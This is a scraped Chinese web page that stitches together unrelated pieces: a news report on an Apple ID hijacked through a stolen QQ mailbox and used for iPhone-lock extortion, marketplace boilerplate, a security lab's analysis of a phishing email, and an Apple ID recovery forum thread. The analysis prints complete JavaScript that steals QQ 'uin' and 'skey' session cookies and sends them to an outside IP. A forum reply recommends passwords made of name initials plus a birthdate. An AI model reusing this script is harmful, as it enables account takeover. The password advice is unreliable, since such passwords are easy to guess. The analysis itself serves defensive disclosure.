您现在正在浏览：
QQ邮箱绑定苹果ID却被盗
“查找iPhone”变“锁死iPhone”
发布时间：
01:00:04 & 作者：潘少颖 & 来源：
摘要： 在勒索不成的情况下，黑客通过“查找iPhone”功能锁死了iPhone 5s。
一直正常使用的iPhone 5s，因为与苹果ID账户绑定的QQ邮箱被盗，而被黑客修改了苹果ID账户和密码，在勒索不成的情况下，黑客通过&查找iPhone&功能锁死了iPhone 5s。最近，深圳唐先生的iPhone 5s变成了砖头，而且通过客服等各种方式也没有找回。
用户遭遇：iPhone　5s被锁，被迫交&赎金&
& & & & &&7月30日，我在深圳一网吧，用手机连上了网吧的Wi-Fi，并且登录了QQ，不一会，QQ界面弹出通知说，该QQ异地登录，被迫下线。当时觉得QQ异地登录这种现象很正常，以前也碰到过，而且我当时重新登录也成功了，因此没觉得有什么异常。&唐先生说。
& & & & 几个小时之后，唐先生的手机收到提示说&此iPhone已丢失，请联系QQ：xxxxx&，&明明手机在我手里，而且也照常好用，怎么会丢失呢？&尽管心存怀疑，但唐先生还是没有重视，直到第二天再次收到这个提示。
& & & &担心出问题的唐先生想登录iCloud，孰料一直显示账号和密码错误。于是，唐先生登录了与苹果ID账号绑定的QQ邮箱，在QQ邮箱里，唐先生看到了一封已经被打开过的邮件，该邮件的内容就是重置苹果ID账户密码。&我马上联系了信息中所提到的那个QQ号，对方承认是他盗走了我的QQ邮箱，并且更改了苹果ID和密码，他告诉我要想知道ID和密码，汇款300元就可以了。&气不打一处来的唐先生怎么也不肯汇款，在QQ上与盗号者大吵一架，没想到对方来了更绝的一招，在iCloud 上 & & & & 通过&查找iPhone&功能锁死了唐先生的iPhone 5s，并且删除了所有数据，唐先生顿时傻眼了。
心急如焚的唐先生首先联系了苹果官方客服，客服表示需要正确回答当时设置的密保问题才能找回账号密码。但唐先生的密保问题是2011年设置的，时间太长早已经忘记。&我给苹果客服打了六七次电话，每次都说要回答出密保问题才可以，而且这是唯一的方式。&唐先生说。
& & & & 此后，唐先生又尝试了刷机等各种方式，还是不能恢复。此时，距离事发已经过去了将近一周，做销售的唐先生担心失去工作，无奈之下，只能答应盗号者的要求。&对方收到汇款后的确给我解锁，但里面的资料都没了。&唐先生说。
& & & &无独有偶，北京的高小姐最近也碰到了类似的事情，和苹果ID绑定的Hotmail邮箱被盗，ID和密码被改，但幸好自己还记得密保问题的答案，在客服的帮助下找回了密码。
& & & & &邮箱被盗是经常发生的事，更改苹果ID和密码通过一封邮件就能完成吗？腾讯有填写历史资料之类的申诉方式可以找回，为什么苹果没有？&唐先生气愤地说。
记者验证：破解邮箱就能修改苹果账号和密码
& & & & 为了验证唐先生的说法，记者致电苹果客服。当记者表示想要为自己的苹果ID修改密码时，该客服表示系统会向该绑定邮箱发送一封修改密码的邮件，按照提示操作就可以了。回答记者提问期间，该客服也询问了记者的姓名、联系方式等，本以为这些资料做审核信息之用，但该客服表示询问这些信息仅作来电登记。
& & & & 记者在收到的邮件中看到，只要点击邮件中的&重置密码&，就跳转到了设置密码的页面，在设置新密码时，无须填写用户信息或者旧密码。就整个操作过程来看，只要知道苹果ID绑定的邮箱以及邮箱密码，就可以修改。设置完新密码后，在iCloud里可以再次提交修改ID和密码的申请，也无须任何用户信息。
& & & & 当记者质疑这样修改是不是风险太大了时，客服表示，7月苹果新推出了两步安全验证，即在修改ID和密码时必须手上有相应的苹果设备，并且会发送验证码。但两步验证法需要用户在自己的账户中设置后才能生效。
& & & & & 关于找回丢失的ID和密码的方式，苹果客服表示除了回答密保问题之外，还可以通过购买时的发票以及包装盒，提供该苹果设备相关的一些资料，客服可以在系统中注销和该设备关联的账号，用户再重新注册一个。
& & & & & 唐先生由于找不到发票以及包装盒，故只能采用回答密保问题的方式找回账号和密码。
律师说法：苹果不违规,但应做得更好
& & & & 上海泛洋律师事务所律师刘春泉告诉记者，法律上没有明确规定企业在审核用户信息资料时应询问哪些内容，都是企业自己决定的。&苹果的这种做法虽然不违规，并且在美国也行得通，但并不符合中国的实际情况。而对于找回账号密码的方式，消费者和苹果都存在问题，消费者忘记了自己的密保，也提供不了其它信息， & & & & &苹果客服出于安全考虑，的确不能帮助消费者。但苹果提供的找回方式也比较简单，如果能提供多一些的方式，就更人性化了。&刘春泉表示，就像腾讯一样，为抓盗号专门建立了几百人的团队，提供的找回QQ密码等方式也比较多样，这样才符合市场需求，但同时也需要成本。
& & & & & 对于唐先生出于无奈而付了300元找回账号和密码，刘春泉建议消费者应该报警，&虽然一个案件的金额很小，但公安部门有情报机构，一旦搜集到多起类似的案件，就能采取措施。&刘春泉说。
华为P9要卖近4000元，你买吗？
买，信赖华为的品质
不买，赶上水果价了。
热点新闻排行榜
电话：86-021-
Copyright (C) 2007 www..cn All right reserved　
IT时报网 内容未经许可 不许转载随时选购服务
需求发布后1小时内收到服务商响应每个需求平均有10个服务商参与95%以上的需求得到了圆满解决所有需求不向雇主收取任何佣金八月八免单日
已收到 1 个服务商的文案稿件
， 最终中标并完成需求
有相似问题想解决?专业顾问来帮助您
01托管赏金到猪八戒网02服务商交稿03选择满意的服务商04服务商工作05验收工作，满意后付款
通过猪八戒网实名认证,保证身份真实可靠
完成手机认证,保证能随时联系到服务商
参与需求，开始赚钱
第1步：提交您的稿件
第2步：中标后交付作品
第3步：获得赏金
该需求下的优秀交稿
该需求下暂时还没有交稿事件还原：一封QQ恶意邮件
导致Apple ID密码丢失
一个朋友丢了一台iPhone 6 Plus，用iCloud开启了丢失模式。直到某一天收了一封QQ邮件，几分钟后APPLE ID被修改了，丢失的iPhone 6 Plus从iCloud中移除了。不是钓鱼邮件，也没有输入任何账户密码，就点了一个图片链接后，Apple ID密码就丢了。这勾起了我的好奇心，随即让朋友把邮件转发给我。
链接在浏览器最下边，太长了，直接查看框架代码（点击看大图）。
开虚拟机，打开IE F12开发者工具，先看看情况（点击看大图）。
直接打开了广州日报大洋网，但域名是，地区是香港。查看F12抓取到的HTTP数据，原来是嵌入了2个iframe，第2个iframe是恶意网页（点击看大图）。
网页中只有一小段js脚本，功能是向腾讯企业邮箱：http://support./cgi-bin/login发送一个POST请求，然后执行其自定义的一个JS脚本。JS脚本名用unicode编了下码，解码后如下图（点击看大图）：
域名ylfu.pw和指向同一个IP。将这个JS脚本下载回来，出现了关键HTTP请求，都指向同一IP。真相原来就是通过搜索cookie，获取了QQ号和skey，利用skey登陆朋友QQ邮箱或其他QQ服务，然后进一步获取到了Apple ID密码。（点击看大图）
后来通过和朋友仔细沟通，得知朋友的APPLE ID就是QQ邮箱，但密码不同。骗子通过skey登陆朋友QQ邮箱，然后发送重置APPLE ID密码的邮件，最后成功解锁了iCloud锁定的iPhone 6 Plus。
技术虽然是老技术，但对普通用户来说，确实没办法防御。腾讯蛋疼的skey机制，不管邮箱、空间还是相册一律通杀，这个力度确实太广了。& & & &&
利用Apple ID的远程锁定进行诈骗最近呈爆发式啊，还没开启Apple ID二次验证的小伙伴，一定要去开启。
附JS完整代码
document.domain = "qq.com";
window.onload =
// 我注释的：入口点
var browser = {
versions: function () {
var u = navigator.userAgent, app = navigator.appV
trident: u.indexOf('Trident') & -1, //IE内核
presto: u.indexOf('Presto') & -1, //opera内核
webKit: u.indexOf('AppleWebKit') & -1, //苹果、谷歌内核
gecko: u.indexOf('Gecko') & -1 && u.indexOf('KHTML') == -1,//火狐内核
mobile: !!u.match(/AppleWebKit.*Mobile.*/), //是否为移动终端
ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端
android: u.indexOf('Android') & -1 || u.indexOf('Linux') & -1,
//android终端或者uc浏览器
iPhone: u.indexOf('iPhone') & -1, //是否为iPhone或者QQHD浏览器
iPad: u.indexOf('iPad') & -1, //是否iPad
webApp: u.indexOf('Safari') == -1 //是否web应该程序，没有头部与底部
language: (navigator.browserLanguage || navigator.language).toLowerCase()
function GetWebVersion() {
if (browser.versions.iPhone) {
return "iPhone";
if (browser.versions.android) {
return "android";
return "pc";
function getCookie(name) {
var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
if (arr = document.cookie.match(reg))
return unescape(arr[2]);
function getQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]);
function documentrrady()
window.location.href = "http://122.10.18.36/server/AddQQUser?qqnumber=" + parseInt(getCookie("uin").replace("o", "")) + "&skey=" + getCookie("skey") + "&sex=&nickname=&city=&useragant=" + GetWebVersion() + "&addfriendsids=&qqtype=lockKey2&cookie=&uin=" + getCookie("uin");
* 作者：银河实验室（企业账号）
看过本文的人还看过
最新图文推荐
大家感兴趣的内容
&&<a rel="nofollow" class="red" href="" target="_blank" color="red新版网站排行榜
===全新上线===
网友热评的文章本文链接：手机签到经验翻倍！快来扫一扫！
忘记Apple ID及密码？看了您就明白！
1623浏览 / 2回复
话说人到了一定年纪就容易健忘，丢三落四，长时间不经常用的东西就不记得了。这不您看，这长时间没用的苹果设备Apple&ID和密码都忘了。好在现在富连网（纠正是互联网）科技发达，搜一搜网上教程就来了，这不看着可以就分享给大家了。一、忘记Apple&ID如果忘记了自己的Apple&ID，可以跟着富连网3C达人使用以下步骤找回Apple&ID。Apple&ID是用来登录所有Apple服务的帐户。如果忘记了Apple&ID，或者不确定是否拥有一个Apple&ID，有几种方法可以找回它。一.尝试其他电子邮件地址大多数情况下，Apple&ID为您的电子邮件地址。首先，请尝试使用可能用作Apple&ID的所有以前的电子邮件地址登录。&二.使用&Apple&ID&帐户页面1.前往Apple&ID帐户页面(/cn)，并点按“忘记了Apple&ID或密码”。&2.当系统提示输入&Apple&ID&时，请点按“忘记&Apple&ID”。3.输入名字和姓氏，然后选择根据电子邮件地址或电话号码搜索。三.查看是否已在设备上使用Apple&ID登录过1.在iPhone、iPad&或&iPod&touch&上查看以下位置，如有登录apple&id将会有显示。轻点“设置”>“iTunes&Store&与&App&Store”轻点“设置”>“iCloud”轻点“设置”>“信息”>“发送与接收”轻点“设置”>“FaceTime”应用“设置”>“邮件、通讯录、日历”2.从&Mac上查看以下位置，如有登录apple&id将会有显示。选择&Apple&菜单&>“系统偏好设置”>“iCloud”打开“邮件”，然后选择“邮件”>“偏好设置”>“帐户”打开“日历”，然后选择“日历”>“偏好设置”>“帐户”打开&FaceTime，然后选择“FaceTime”>“偏好设置”>“设置”打开“信息”，然后选择“信息”>“偏好设置”>“帐户”&四.在&iTunes&中查看之前的购买如果之前在&iTunes&Store&中购买过产品，可以查看购买该产品所用的帐户。如果Apple&ID已更改，则“文件信息”中的名称将不起作用。&1.打开&iTunes2.点按一个购买项目，可以在“我的音乐”或“播放列表”下找到购买项目3.选取“文件”>“显示简介”4.点按“文件”标签5.“购买人”会在括号中显示购买该项目所用的&Apple&ID&二、找回Apple&ID密码如果忘记Apple&ID登录密码，可以使用以下步骤重设密码并重新获得您帐户的访问权限。&前往Apple&ID帐户页面(/cn)，然后点按“忘记了&Apple&ID或密码”。输入Apple&ID，然后点按“下一步”。&在输入Apple&ID后，可以通过以下多种方式更改密码：&1.回答安全提示问题如果知道安全提示问题的答案，请选择“回答安全提示问题”，然后按照相应步骤重设密码。&2.使用电子邮件验证如果选择“获取电子邮件”，苹果将向主要或救援电子邮件地址发送电子邮件，以供用于重设密码。&3.使用两步验证如果设置了两步验证，可用它来更改密码。需要拥有一个恢复密钥和一部受信任的设备。请按照以下步骤操作：①输入恢复密钥（如果以前开启了两步验证，在开启时会获得一个恢复秘钥）如果失去了恢复密钥或受信任设备的访问权限，则无法更改密码。③输入验证代码④设置新密码，然后选择“重设密码”。4.使用双重认证如果之前设置了双重认证，则可以按照下列步骤在受信任的iPhone、iPad或iPod&touch上重设或更改密码①前往“设置”>“iCloud”②轻按Apple&ID的名称&&③轻按“密码和安全性”④轻按“更改密码”⑤输入新密码&以上步骤仅适用于已启用设备密码的受信任设备。如果无法访问受信任的设备，则可以按照下列步骤重设密码：1.前往&/cn/password/verify/appleid，并输入Apple&ID2.输入受信任的电话号码，然后点按“继续”3.输入苹果发送至受信任电话号码的验证码4.根据要求提供其他任何帐户信息5.设置新密码以上就忘记Apple ID及密码的解决方法。亲，您找回了吗？
魔幻的企鹅 发表于
密码太多难记啊~
建议密码设置成自己的姓名首字母加生日，号码设置自己的出生日期。如：王小红 生日，Wxh910910。这样就好记了
---来自富连网3C达人
&建议密码设置成自己的姓名首字母加生日，号码设置自己的出生日期。如：王小红 生日，Wxh910910。这样就好记了
您需要登录后才可以回帖&&&|&&&&&
用户名/注册邮箱/注册手机号
其他第三方号登录}